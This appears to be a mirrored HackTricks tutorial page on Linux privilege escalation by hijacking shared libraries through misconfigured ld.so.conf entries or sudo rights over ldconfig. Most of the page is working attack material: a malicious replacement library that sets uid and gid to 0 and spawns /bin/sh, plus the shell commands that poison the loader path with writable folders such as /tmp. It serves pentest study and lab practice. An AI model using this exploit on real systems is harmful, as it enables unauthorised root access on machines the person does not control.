mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
154 lines
5 KiB
Markdown
154 lines
5 KiB
Markdown
# ld.so exploit example
|
|
|
|
## Prepare the environment
|
|
|
|
In the following section you can find the code of the files we are going to use to prepare the environment
|
|
|
|
{% tabs %}
|
|
{% tab title="sharedvuln.c" %}
|
|
```c
|
|
#include <stdio.h>
|
|
#include "libcustom.h"
|
|
|
|
int main(){
|
|
printf("Welcome to my amazing application!\n");
|
|
vuln_func();
|
|
return 0;
|
|
}
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="libcustom.h" %}
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
void vuln_func();
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="libcustom.c" %}
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
void say_hi()
|
|
{
|
|
puts("Hi");
|
|
}
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
1. **Create** those files in your machine in the same folder
|
|
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
|
3. **Copy **_ libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs)
|
|
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
|
|
|
### Check the environment
|
|
|
|
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
|
|
|
|
```
|
|
$ ldd sharedvuln
|
|
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
|
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
|
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
|
|
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
|
|
|
|
$ ./sharedvuln
|
|
Welcome to my amazing application!
|
|
Hi
|
|
```
|
|
|
|
## Exploit
|
|
|
|
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
|
|
|
|
```bash
|
|
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
|
```
|
|
|
|
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
|
|
**Downloadand compile** the following code inside that path:
|
|
|
|
```c
|
|
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
|
|
void say_hi(){
|
|
setuid(0);
|
|
setgid(0);
|
|
printf("I'm the bad library\n");
|
|
system("/bin/sh",NULL,NULL);
|
|
}
|
|
```
|
|
|
|
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
|
|
|
|
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
|
|
|
|
```c
|
|
$ldd sharedvuln
|
|
linux-vdso.so.1 => (0x00007ffeee766000)
|
|
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
|
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
|
```
|
|
|
|
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
|
|
|
|
```c
|
|
$ ./sharedvuln
|
|
Welcome to my amazing application!
|
|
I'm the bad library
|
|
$ whoami
|
|
ubuntu
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
|
|
{% endhint %}
|
|
|
|
### Other misconfigurations - Same vuln
|
|
|
|
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
|
|
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
|
|
|
|
## Exploit 2
|
|
|
|
**Suppose you have sudo privileges over `ldconfig`**.\
|
|
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
|
|
So, lets create the files and folders needed to load "/tmp":
|
|
|
|
```bash
|
|
cd /tmp
|
|
echo "include /tmp/conf/*" > fake.ld.so.conf
|
|
echo "/tmp" > conf/evil.conf
|
|
```
|
|
|
|
Now, as indicated in the **previous exploit**, **create the malicious library inside **_**/tmp**_.\
|
|
And finally, lets load the path and check where is the binary loading the library from:
|
|
|
|
```bash
|
|
ldconfig -f fake.ld.so.conf
|
|
|
|
ldd sharedvuln
|
|
linux-vdso.so.1 => (0x00007fffa2dde000)
|
|
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
|
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
|
```
|
|
|
|
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
|
|
|
|
{% hint style="info" %}
|
|
I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
|
{% endhint %}
|
|
|
|
## References
|
|
|
|
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
|
|
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
|
|
* Dab machine in HTB
|